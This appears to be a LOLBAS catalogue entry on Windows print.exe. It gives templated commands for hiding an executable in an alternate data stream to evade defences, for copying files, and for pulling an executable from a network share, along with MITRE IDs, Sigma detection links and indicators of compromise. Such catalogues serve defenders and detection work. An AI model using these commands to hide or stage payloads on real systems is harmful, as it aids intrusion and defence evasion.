--- Name: Print.exe Description: Used by Windows to send files to the printer Author: Oddvar Moe Created: 2018-05-25 Commands: - Command: print /D:{PATH_ABSOLUTE}:file.exe {PATH_ABSOLUTE:.exe} Description: Copy file.exe into the Alternate Data Stream (ADS) of file.txt. Usecase: Hide binary file in alternate data stream to potentially bypass defensive counter measures Category: ADS Privileges: User MitreID: T1564.004 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 - Command: print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_ABSOLUTE:.source.exe} Description: Copy file from source to destination Usecase: Copy files Category: Copy Privileges: User MitreID: T1105 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 - Command: print /D:{PATH_ABSOLUTE:.dest.exe} {PATH_SMB:.source.exe} Description: Copy File.exe from a network share to the target c:\OutFolder\outfile.exe. Usecase: Copy/Download file from remote server Category: Copy Privileges: User MitreID: T1105 OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11 Full_Path: - Path: C:\Windows\System32\print.exe - Path: C:\Windows\SysWOW64\print.exe Detection: - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_print_remote_file_copy.yml - IOC: Print.exe retrieving files from internet - IOC: Print.exe creating executable files on disk Resources: - Link: https://twitter.com/Oddvarmoe/status/985518877076541440 - Link: https://www.youtube.com/watch?v=nPBcSP8M7KE&lc=z22fg1cbdkabdf3x404t1aokgwd2zxasf2j3rbozrswnrk0h00410 Acknowledgement: - Person: Oddvar Moe Handle: '@oddvarmoe'